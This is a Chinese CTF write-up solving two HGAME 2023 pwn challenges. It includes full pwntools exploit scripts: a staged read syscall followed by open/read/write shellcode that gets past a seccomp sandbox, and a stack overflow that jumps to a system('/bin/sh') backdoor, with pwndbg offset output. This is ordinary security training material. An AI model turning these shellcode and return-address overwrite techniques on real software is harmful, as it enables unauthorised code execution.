simple_shellcode

[HGAME 2023 week1]simple_shellcode


知识点:
read 函数汇编思路

1
read(fd(rdi),buf(rsi),count(rdx))
  • 系统调用号:0(需存入 rax 寄存器)
  • 参数传递规则(按顺序对应 C 函数的 read(fd, buf, count)):
    • rdi:第一个参数,文件描述符 fd
    • rsi:第二个参数,缓冲区地址 buf
    • rdx:第三个参数,读取的最大字节数 count
  • 返回值:系统调用结束后,rax 寄存器存放返回值(成功为读取字节数,失败为 -errno

准备


64 位,保护全开

分析

main函数

1
2
3
4
5
6
7
8
9
10
int __fastcall main(int argc, const char **argv, const char **envp)
{
init(argc, argv, envp);
mmap((void *)0xCAFE0000LL, 0x1000uLL, 7, 33, -1, 0LL);
puts("Please input your shellcode:");
read(0, (void *)0xCAFE0000LL, 0x10uLL);
sandbox();
MEMORY[0xCAFE0000]();
return 0;
}

先用 mmap 函数在指定地址映射一块内存区域是可读可写可执行的
然后有一个 read 函数,写在映射内存区域中,但限制读取长度只有 16(0x10)
并且这里涉及到了沙箱

思路:

有一块可用区域,进行沙箱,输入长度的限制,没其他有用信息
先看一下沙箱限制

禁用了 execveexecveat 函数,所以这里用 orw 去解决
但这里对输入长度进行了限制,所以我们先要写一个长度小于等于 16 的 read 函数汇编,扩大输入空间,来使得我们后面可以进行 orw 操作
先用 gdb 调试来看一下寄存器情况
main 函数处下断点,然后运行程序

ni 指令单步调试,遇到输入点时,随便输入一个内容

一直运行到函数最后,查看寄存器情况

看到这里主要的是 rax 寄存器是 0 ,rdx 寄存器存放着地址
所以直接编写 read 函数汇编

1
2
3
4
5
6
7
8
#read(fd(rdi),buf(rsi),count(rdx))
read=asm('''
mov rsi, rdx
mov rdx, 0x100
xor rdi, rdi
syscall
''')
io.sendlineafter(b'shellcode:',read)

扩大输入空间后,直接发送生成的 orw

1
2
3
4
5
6
7
8
9
10
11
12
13
#read(fd(rdi),buf(rsi),count(rdx))
read=asm('''
mov rsi, rdx
mov rdx, 0x100
xor rdi, rdi
syscall
''')
io.sendlineafter(b'shellcode:',read)

addr=0xcafe0000+0x200
orw=shellcraft.open("./flag")+shellcraft.read(3, addr, 0x100)+shellcraft.write(1, addr, 0x100)
payload=b"\x90"*len(read)+asm(orw)
io.send(payload)

这里的 +0x200b"\x90"*len(read) 都是确保代码能正常运行
\x90nop 指令)的作用是占位但不干扰执行

脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import *
context(os='linux',arch='amd64',log_level='debug')
# io = remote('node5.anna.nssctf.cn', 27002)
io = process('/home/motaly/vuln')
elf=ELF('/home/motaly/vuln')

#read(fd(rdi),buf(rsi),count(rdx))
read=asm('''
mov rsi, rdx
mov rdx, 0x100
xor rdi, rdi
syscall
''')
io.sendlineafter(b'shellcode:',read)
addr=0xcafe0000+0x200
orw=shellcraft.open("./flag")+shellcraft.read(3, addr, 0x100)+shellcraft.write(1, addr, 0x100)
payload=b"\x90"*len(read)+asm(orw)
io.send(payload)

io.interactive()

easy_overflow

[HGAME 2023 week1]easy_overflow


知识点:
文件描述符

  • 0:标准输入(stdin)
  • 1:标准输出(stdout)
  • 2:标准错误(stderr)
命令 重定向目标 数据流方向 输出样式
exec 1>&0 将 stdout 重定向到 stdin 的目标 输出 → stdin 的目标(如网络连接) 正常输出(颜色不变)
exec 1>&2 将 stdout 重定向到 stderr 输出 → stderr(通常是终端) 可能显示为错误样式(如红色)
场景 选择 原因
远程 shell(标准输出关闭) exec 1>&0 复用网络连接,确保输出通过网络返回
本地程序(标准输出关闭) exec 1>&2 利用活跃的 stderr 显示输出
需要保留输出样式(非错误样式) exec 1>&0 stderr通常显示为错误样式,可能干扰正常输出

准备


64 位开了 NX 保护

分析

main函数

1
2
3
4
5
6
7
8
int __fastcall main(int argc, const char **argv, const char **envp)
{
_BYTE buf[16]; // [rsp+0h] [rbp-10h] BYREF

close(1);
read(0, buf, 0x100uLL);
return 0;
}

看到这里开头就关闭了标准输出
影响是后续任何尝试向标准输出写入数据的操作都会失败,返回 Bad file descriptor 错误。
就像后面我们虽然连通了,但运行指令有报错

接着有一个 read 函数,最大读取 256 个值给 buf,但 buf 大小为 16,所以存在缓冲区溢出

b4ckd0or函数(后门函数)

1
2
3
4
int b4ckd0or()
{
return system("/bin/sh");
}

直接的连接点

思路:

总的这里有直接的连接点,主要是解决被关闭的标准输出
先用 gdb 调试一下得到偏移量

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
motaly@motaly-VMware-Virtual-Platform:~$ gdb vuln
GNU gdb (Ubuntu 15.0.50.20240403-0ubuntu1) 15.0.50.20240403-git
Copyright (C) 2024 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<https://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.

For help, type "help".
Type "apropos word" to search for commands related to "word"...
pwndbg: loaded 177 pwndbg commands and 46 shell commands. Type pwndbg [--shell | --all] [filter] for a list.
pwndbg: created $rebase, $base, $hex2ptr, $argv, $envp, $argc, $environ, $bn_sym, $bn_var, $bn_eval, $ida GDB functions (can be used with print/break)
Reading symbols from vuln...

This GDB supports auto-downloading debuginfo from the following URLs:
<https://debuginfod.ubuntu.com>
Debuginfod has been disabled.
To make this setting permanent, add 'set debuginfod enabled off' to .gdbinit.
(No debugging symbols found in vuln)
------- tip of the day (disable with set show-tips off) -------
Use the vmmap command for a better & colored memory maps display (than the GDB's info proc mappings)
pwndbg> cyclic 1000
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabbaaaaaabcaaaaaabdaaaaaabeaaaaaabfaaaaaabgaaaaaabhaaaaaabiaaaaaabjaaaaaabkaaaaaablaaaaaabmaaaaaabnaaaaaaboaaaaaabpaaaaaabqaaaaaabraaaaaabsaaaaaabtaaaaaabuaaaaaabvaaaaaabwaaaaaabxaaaaaabyaaaaaabzaaaaaacbaaaaaaccaaaaaacdaaaaaaceaaaaaacfaaaaaacgaaaaaachaaaaaaciaaaaaacjaaaaaackaaaaaaclaaaaaacmaaaaaacnaaaaaacoaaaaaacpaaaaaacqaaaaaacraaaaaacsaaaaaactaaaaaacuaaaaaacvaaaaaacwaaaaaacxaaaaaacyaaaaaaczaaaaaadbaaaaaadcaaaaaaddaaaaaadeaaaaaadfaaaaaadgaaaaaadhaaaaaadiaaaaaadjaaaaaadkaaaaaadlaaaaaadmaaaaaadnaaaaaadoaaaaaadpaaaaaadqaaaaaadraaaaaadsaaaaaadtaaaaaaduaaaaaadvaaaaaadwaaaaaadxaaaaaadyaaaaaadzaaaaaaebaaaaaaecaaaaaaedaaaaaaeeaaaaaaefaaaaaaegaaaaaaehaaaaaaeiaaaaaaejaaaaaaekaaaaaaelaaaaaaemaaaaaaenaaaaaaeoaaaaaaepaaaaaaeqaaaaaaeraaaaaaesaaaaaaetaaaaaaeuaaaaaaevaaaaaaewaaaaaaexaaaaaaeyaaaaaae
pwndbg> r
Starting program: /home/motaly/vuln
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabbaaaaaabcaaaaaabdaaaaaabeaaaaaabfaaaaaabgaaaaaabhaaaaaabiaaaaaabjaaaaaabkaaaaaablaaaaaabmaaaaaabnaaaaaaboaaaaaabpaaaaaabqaaaaaabraaaaaabsaaaaaabtaaaaaabuaaaaaabvaaaaaabwaaaaaabxaaaaaabyaaaaaabzaaaaaacbaaaaaaccaaaaaacdaaaaaaceaaaaaacfaaaaaacgaaaaaachaaaaaaciaaaaaacjaaaaaackaaaaaaclaaaaaacmaaaaaacnaaaaaacoaaaaaacpaaaaaacqaaaaaacraaaaaacsaaaaaactaaaaaacuaaaaaacvaaaaaacwaaaaaacxaaaaaacyaaaaaaczaaaaaadbaaaaaadcaaaaaaddaaaaaadeaaaaaadfaaaaaadgaaaaaadhaaaaaadiaaaaaadjaaaaaadkaaaaaadlaaaaaadmaaaaaadnaaaaaadoaaaaaadpaaaaaadqaaaaaadraaaaaadsaaaaaadtaaaaaaduaaaaaadvaaaaaadwaaaaaadxaaaaaadyaaaaaadzaaaaaaebaaaaaaecaaaaaaedaaaaaaeeaaaaaaefaaaaaaegaaaaaaehaaaaaaeiaaaaaaejaaaaaaekaaaaaaelaaaaaaemaaaaaaenaaaaaaeoaaaaaaepaaaaaaeqaaaaaaeraaaaaaesaaaaaaetaaaaaaeuaaaaaaevaaaaaaewaaaaaaexaaaaaaeyaaaaaae

Program received signal SIGSEGV, Segmentation fault.
0x00000000004011c9 in main ()
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
────────────────────────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]─────────────────────────────────────────────────────────────────
RAX 0
RBX 0x7fffffffd848 —▸ 0x7fffffffdc14 ◂— '/home/motaly/vuln'
RCX 0x7ffff7d1ba61 (read+17) ◂— cmp rax, -0x1000 /* 'H=' */
RDX 0x100
RDI 0
RSI 0x7fffffffd710 ◂— 0x6161616161616161 ('aaaaaaaa')
R8 0x401240 (__libc_csu_fini) ◂— endbr64
R9 0x7ffff7fca380 (_dl_fini) ◂— endbr64
R10 0x7ffff7c109d8 ◂— 0x11001200001bd3
R11 0x246
R12 1
R13 0
R14 0
R15 0x7ffff7ffd000 (_rtld_global) —▸ 0x7ffff7ffe2e0 ◂— 0
RBP 0x6161616161616163 ('caaaaaaa')
RSP 0x7fffffffd728 ◂— 0x6161616161616164 ('daaaaaaa')
RIP 0x4011c9 (main+60) ◂— ret
─────────────────────────────────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]──────────────────────────────────────────────────────────────────────────
► 0x4011c9 <main+60> ret <0x6161616161616164>










───────────────────────────────────────────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp 0x7fffffffd728 ◂— 0x6161616161616164 ('daaaaaaa')
01:0008│ 0x7fffffffd730 ◂— 0x6161616161616165 ('eaaaaaaa')
02:0010│ 0x7fffffffd738 ◂— 0x6161616161616166 ('faaaaaaa')
03:0018│ 0x7fffffffd740 ◂— 0x6161616161616167 ('gaaaaaaa')
04:0020│ 0x7fffffffd748 ◂— 0x6161616161616168 ('haaaaaaa')
05:0028│ 0x7fffffffd750 ◂— 'iaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabbaaaaaabcaaaaaabdaaaaaabeaaaaaabfaaaaaabgaaaaaab'
06:0030│ 0x7fffffffd758 ◂— 'jaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabbaaaaaabcaaaaaabdaaaaaabeaaaaaabfaaaaaabgaaaaaab'
07:0038│ 0x7fffffffd760 ◂— 'kaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabbaaaaaabcaaaaaabdaaaaaabeaaaaaabfaaaaaabgaaaaaab'
─────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────────────────────────────────────────────
► 0 0x4011c9 main+60
1 0x6161616161616164 None
2 0x6161616161616165 None
3 0x6161616161616166 None
4 0x6161616161616167 None
5 0x6161616161616168 None
6 0x6161616161616169 None
7 0x616161616161616a None
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> haaaaaabiaaaaaabjaaaaaabkaaaaaablaaaaaabmaaaaaabnaaaaaaboaaaaaabpaaaaaabqaaaaaabraaaaaabsaaaaaabtaaaaaabuaaaaaabvaaaaaabwaaaaaabxaaaaaabyaaaaaabzaaaaaacbaaaaaaccaaaaaacdaaaaaaceaaaaaacfaaaaaacgaaaaaachaaaaaaciaaaaaacjaaaaaackaaaaaaclaaaaaacmaaaaaacnaaaaaacoaaaaaacpaaaaaacqaaaaaacraaaaaacsaaaaaactaaaaaacuaaaaaacvaaaaaacwaaaaaacxaaaaaacyaaaaaaczaaaaaadbaaaaaadcaaaaaaddaaaaaadeaaaaaadfaaaaaadgaaaaaadhaaaaaadiaaaaaadjaaaaaadkaaaaaadlaaaaaadmaaaaaadnaaaaaadoaaaaaadpaaaaaadqaaaaaadraaaaaadsaaaaaadtaaaaaaduaaaaaadvaaaaaadwaaaaaadxaaaaaadyaaaaaadzaaaaaaebaaaaaaecaaaaaaedaaaaaaeeaaaaaaefaaaaaaegaaaaaaehaaaaaaeiaaaaaaejaaaaaaekaaaaaaelaaaaaaemaaaaaaenaaaaaaeoaaaaaaepaaaaaaeqaaaaaaeraaaaaaesaaaaaaetaaaaaaeuaaaaaaevaaaaaaewaaaaaaexaaaaaaeyaaaaaae
Undefined command: "haaaaaabiaaaaaabjaaaaaabkaaaaaablaaaaaabmaaaaaabnaaaaaaboaaaaaabpaaaaaabqaaaaaabraaaaaabsaaaaaabtaaaaaabuaaaaaabvaaaaaabwaaaaaabxaaaaaabyaaaaaabzaaaaaacbaaaaaaccaaaaaacdaaaaaaceaaaaaacfaaaaaacgaaaaaachaaaaaaciaaaaaacjaaaaaackaaaaaaclaaaaaacmaaaaaacnaaaaaacoaaaaaacpaaaaaacqaaaaaacraaaaaacsaaaaaactaaaaaacuaaaaaacvaaaaaacwaaaaaacxaaaaaacyaaaaaaczaaaaaadbaaaaaadcaaaaaaddaaaaaadeaaaaaadfaaaaaadgaaaaaadhaaaaaadiaaaaaadjaaaaaadkaaaaaadlaaaaaadmaaaaaadnaaaaaadoaaaaaadpaaaaaadqaaaaaadraaaaaadsaaaaaadtaaaaaaduaaaaaadvaaaaaadwaaaaaadxaaaaaadyaaaaaadzaaaaaaebaaaaaaecaaaaaaedaaaaaaeeaaaaaaefaaaaaaegaaaaaaehaaaaaaeiaaaaaaejaaaaaaekaaaaaaelaaaaaaemaaaaaaenaaaaaaeoaaaaaaepaaaaaaeqaaaaaaeraaaaaaesaaaaaaetaaaaaaeuaaaaaaevaaaaaaewaaaaaaexaaaaaaeyaaaaaae". Try "help".
pwndbg> cyclic -l 0x6161616161616164
Finding cyclic pattern of 8 bytes: b'daaaaaaa' (hex: 0x6461616161616161)
Found at offset 24

得到偏移量为 24
ida 中查看后门地址

得到 b4ckd0or 后门函数的地址为 0x40117E
解决被关闭的标准输出的方法有
1.用标准错误(文件描述符2)

1
exec 1>&2  # 将描述符 1 标准输出(stdout)重定向到描述符 2 标准错误(stderr)

2.用标准输入(文件描述符0)

1
exec 1>&0  # 将描述符 1 标准输出(stdout)重定向到描述符 0 标准输入(stdin)的当前目标

最后构造ROP链

1
payload=b'a'*24+p64(sh)

直接偏移加返回地址

脚本

连通后先输入解决被关闭的标准输出的指令,再获取 flag

1
2
3
4
5
6
7
8
9
from pwn import *
context.log_level = "debug"
io=remote('node5.anna.nssctf.cn',27605)
# io= process('/home/motaly/vuln')
sh=0x40117E

payload=b'a'*24+p64(sh)
io.sendline(payload)
io.interactive()